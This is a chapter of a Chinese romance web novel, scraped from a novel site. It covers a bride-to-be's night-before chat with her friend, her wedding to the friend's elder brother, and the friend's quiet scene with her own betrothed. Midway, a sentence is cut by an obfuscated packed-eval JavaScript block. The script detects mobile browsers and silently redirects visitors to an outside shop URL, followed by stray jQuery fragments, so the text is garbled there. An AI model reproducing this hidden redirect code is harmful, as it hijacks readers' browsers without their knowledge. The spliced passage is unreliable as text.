文趣网 > 都市小说 > 错算 > 21. 萧郑成婚
    沈清璋自始至终没有现身,径直回了侯府。

    临钰回了府内,张大娘子将她叫去,说婚期已定,让她安下心来,家中待嫁。两家说定,就在明年暮春,正是好时节。临帆和临钗的婚期依次早一些,一来是做哥姐的,早一些也合适,二来免得家中忙不过来。王彦章回来请期,预备儿子婚礼事宜,换了裴桓去德胜驻守,婚礼怕是回不来。临钰应声,并未说什么。

    婉仪婚前一晚,叫了临钰去她那儿小坐。看着送来的婚服和全套头面,婉仪脸上止不住的欢喜。临钰看着,也有释然。

    “郑姐姐,你终于能嫁给自己心中的良人了。”

    “我做了你大哥哥的妻子,也是你的嫂子。从此,我们也能一同有个照应。除了父母,没什么分离的苦。”郑婉仪坐在镜前试那些首饰,招呼临钰坐下。

    “若能一直同郑姐姐住在一起就好了。那在萧家,岂不是郑姐姐护着我?我日日去郑姐姐那里,省得听我母亲来回地说道。”临钰坐在案前,捧着一杯茶,就这奶酪樱桃吃起来。

    “这说的是什么话?”婉仪放下首饰,将它们一一摆好,“娘子们总归是要嫁人的。”婉仪走到临钰身边坐下。“你嫁去沈家,也能常常回来,我也能去找你说说话。旁人说起来,我们是亲嫂嫂和小姑子,哪有什么话讲?”

    “还好,你的婚事先办。我能在家中看你来。”临钰看着婉仪,将身子向前探了探,一手半掩着,“我悄悄同你讲,我大哥哥同你一起看着一本正经,私下里是个爱玩闹的。从前我同你出去,他回来都要来探我的话,明里暗里要打听你。”

    “打听我什么?”

    “打听你爱吃什么,爱喝什么。还要知道你对他什么感觉。他这心思,我可不敢跟他多说。他就缠着我,打我的趣,我才只告诉他你爱吃绿豆糕,葡萄酒。其余我什么都没说。”

    “你看你,我又不会怪你。”郑婉仪说完想起什么,“绿豆糕,葡萄酒?”

    “怎么了?”

    “从前我听你说你家大哥哥也爱吃绿豆红豆做的糕,还有葡萄酒。他从小就爱吃吗?”

    “那倒不是。”临钰回忆着,“小时候他同父亲一样,爱吃桂花糕的。不知从何时起,三不五时地往我那儿送绿豆糕,还说如今就爱吃些这样的,叫我尝尝。还有葡萄酒,他将我的存货搬了一大半,搞得我只能喝些别的。”

    “唉?”临钰觉得有些不对劲,“我上回去他那儿,见他桌子上摆的还是一碟子桂花糕啊?”

    “上回,我同他在藏书阁。我带的就是绿豆糕,他只吃了一点,却一直说让我多吃点。我想着我去安慰人家,不能将拿出来的糕点自己昧了,就推脱没吃。那葡萄酒,他喝完又送了我一瓶,说的是你新得的,让我拿回去尝尝鲜。”

    “我知道了。”临钰才恍然大悟,“原来如此。这个人,如此心机。从你第一次来我家时,他就问我同你玩得好不好。后来才缠着我问你的喜好。他早就有这心思。那绿豆糕,定是他知道你爱吃,才朝我那儿送。葡萄酒也是拿来送你的。敢情是拿我做了棋子。”

    婉仪低着头没说话,脸上的笑意却一丝未减。

    “看来你二人早有情谊,枉我还费了心思撮合。”

    “哎呀,临钰妹妹。我也是才知道。”

    “既然他不仁,那就别怪我不义。”临钰闪过一个小心思。

    “你要做什么?”

    “我告诉你,我大哥哥看着好像没什么心思,正人君子一个。人后,你从我家回去时,他还常常说要跟在后面送你回家。我跟他说这样不合规矩礼义,他偏偏扯出你怕黑这样的话。他这样的,我如今是有些后悔撮合你俩。”

    “其实......”

    “不是吧?我记得你不怕黑啊?”临钰这一晚被惊了好多回。

    “是有一次。你记不记得?有一次你送我出门,因没到晚上,门口遇到你家大哥哥,你大哥哥教训你,说怎么不留我用晚饭。你记得吗?”

    “有印象。”

    “我说晚上夜深了有些黑,再回去可能会有些怕,还是早些好。”婉仪小声说着,脸上红晕早就布满,“我本是想你大哥哥别训了,没想随口说的也......”

    临钰没想到大哥哥这样细心,“我从前怎么没发现他这么多心思呢?他说要给你留个好印象时,我还说他,跟在人家后面不像个样子,也不怕被人误会打了。再说不被人发现,谁能给他留下印象?你说是不是?”

    “好啦好啦,别说了。”婉仪拿起奶酪樱桃堵住临钰的嘴,“横竖我明日就嫁过去了,有什么事,过后慢慢问就好了。”

    临钰跳脱起来的心思也安静下来,“也好。说开了,你们也算是青梅竹马。这世上,两情相悦、门当户对、父母之命都占了的能有几个?真羡慕你。”

    “你还没放下裴公子啊?”婉仪吃了口茶,随口问。

    “放下了。我早就知道压根没有嫁给表哥的可能,只是这些年的不甘而已。如今,也甘心了。”临钰看看窗外,“沈公子人很好,尊重我,家中想来也不会有什么不好的婆媳关系。有这样的,也不能抱怨什么了。”

    “这是表面的话。”婉仪一眼就看透,“说了许多,你都没说对沈公子的心意。”

    “夫妻情分不能强求的。只是表哥不在时,沈公子陪着我那些日子,是真的想过,也许就这样嫁过去,想来也会是自在的。他是个很贴心的人,尤其是,沈公子竟然知道我对表哥的感情,如此他也没有逼我做出选择,这样就很好了。”

    “夫妻两情相悦是很好的,若是能举案齐眉,也算不错了。起码,感情培养到现在,你也知道沈公子是怎样的人。生活安稳,日子和顺,如此也是上等的了。”

    “你说得对。”临钰说,“说起这个婆媳关系,我母亲可是个爱唠叨的,你也见识过。平日里,你可别同她起什么冲突,她那嘴一说起来简直让人头疼。但若起了冲突,你也别怕,她是个风风火火的性子,来得快,去得也快,说到底没什么坏心眼。我母亲不多教训大哥哥,你若没什么办法,大哥哥也能替你说一说。”

    “我知道,我同张大娘子也是说过话的。她只是平日里没什么说话,闷了。我去了免不了陪着,说起来也是从小就见面的大人,总是不差的。”

    两人聊到深夜,临钰才回了伯府。明日,郑姐姐嫁进来,再就是二姐姐的,最后才是自己的。也好,看着他们一个个成了婚,也能沾一沾喜气。

    翌日,郑婉仪一身青绿婚服,配着萧临帆的绯红,俨然一对璧人。阖家上下都在为他们高兴,临钰在一旁站着也满是祝福。随着一声“礼成”,二人送进了洞房,行合卺、结发礼,萧临帆没让旁人戏妇,只叮嘱婉仪安心等着,就被拉出去应酬。

    婚房内放着一碟子绿豆糕,累得高高的,郑婉仪等着旁人都走了,安静下来,走到桌前,看见那碟子绿豆糕,“扑哧”笑了一声,“这怕不是要给我吃成猪了。”手上却没停歇。

    临钰退了席,本想去看看郑姐姐,却怕打扰了规矩,便也作罢,只踱步到院子里。府里一片热闹,四处张灯结彩,只在小园子里才安静些。临钰坐在廊下,今日不愧是个好日子,夜里头顶上这一片也是明媚的。银汉闪着光横穿了目之所及的圈着的天,织女与牛郎仿佛离

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797524|210549||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得更近了些,想来大哥哥和郑姐姐会幸福一生。

    “临钰,怎么一个人在廊下坐着?”沈清璋走过来,陪她坐下,“今日是你大哥哥同你好姐妹的好日子,你不去热闹一下吗?”

    “早热闹过了。”临钰说,“你怎么来了?”

    “我见你离了席,担心你一个人孤单,来陪陪你。”

    “你同我大哥哥一同入朝为官,又是学塾中的情谊,怎么不去灌他酒啊?我大哥哥酒量很好的。”

    “灌他的人多了,不差我一个。可是,阖府热闹的时候,这一方安宁天地不可多得。”沈清璋随着她看天,“今日天象美妙绝伦,三妹妹可看出什么了?”

    “能看出什么?不过是平常的一些,没什么特别的。”

    “裴兄在德胜一切安好,你是灵台郎,应该知道的。”

    “我自然知道。”

    “临钰。”沈公子叫了一声,临钰回了头看他,“你那日,怎么没同裴公子一起走?”

    “表哥只是失了母亲,一时伤心才会想不通。他当日说话对你若有得罪,我替他向你说声对不住。”

    “不会,我能理解。只是裴公子说的话不无道理,若离开这片风云,未尝不可安稳度日。”

    “你当日可不是这么说的。”临钰调侃般笑着。

    “后来我也想得清楚。你的想法才最重要。”

    临钰并未搭话,只默默收了笑,转过头。良久,才说了一句,“多谢。”

    “这有什么可谢的。”沈清璋嘴里说着,心里想的又是,“我们早晚是夫妻的。”

    “其实,你若有想什么,都可以告诉我。”沈清璋说,“我也愿意给你时间,忘记他。往后日子还长,若有什么想不开的,说不开的,可真的要误会一辈子了。”

    “我那日没走,就是下了决心同你成亲的。表哥只是兄长情谊而已,从前是,以后也是,没什么想不开的。”

    “那就好。这段时日,我也练了武。若汴京真的出什么事,我、沈家都能护住你,护住萧家。”说着,沈清璋从怀里掏出一包吃的,打开是奶酪樱桃,“好久没给你带那家铺子的奶酪樱桃了。宴席上这些菜,都是场面的,定然吃不饱。你先吃一点垫垫肚子,夜里也莫要吃得积了食。”

    “正想着呢。”临钰接过来,和沈清璋分着吃,“这几日家里事多,我也跟着母亲忙里忙外。好久没让辛夷去买了。”

    “还有这个。”沈清璋又拿出一只四蝶银步摇,垂着白玉珠,“我很少见你戴步摇。只见了一次也是在第一次见你的那个上巳。不久又是上巳,你可戴上它同我出去逛一逛吗?”

    “这......”临钰有些为难,“上巳日你若邀我,我自然能去。只是这步摇,我若收了就有些不合规矩了。”

    “这有什么?纳征都过了。”沈清璋说着就要给她戴上,临钰略略向后侧了侧,却被沈清璋扶着肩,“别动,我这是第一次给娘子戴首饰,别伤着你。”他将步摇戴好,离远些看了看,云鬓、花颜,想来便是如此了。

    “真好看,它很适合你。”

    临钰还未来得及回了神道谢,沈清璋便道,“那说定了,上巳夜,我来接你。”

    “谢谢你。”

    沈清璋看着她,无奈却只能笑一笑,眼里看着却满是解不开的羁绊,“往后你就知道了。对于一些人,没必要道谢的。”说罢,将她扶起来,“宴席快结束了,我送你回去吧。”

    步摇上的银蝶闪动着,宛如真的展翅飞舞,看着自由,又被拴着,无缘远方。白玉珠垂下,稍动则摇,二人无言,只剩步摇轻轻发出的琮琤之声,不绝如缕。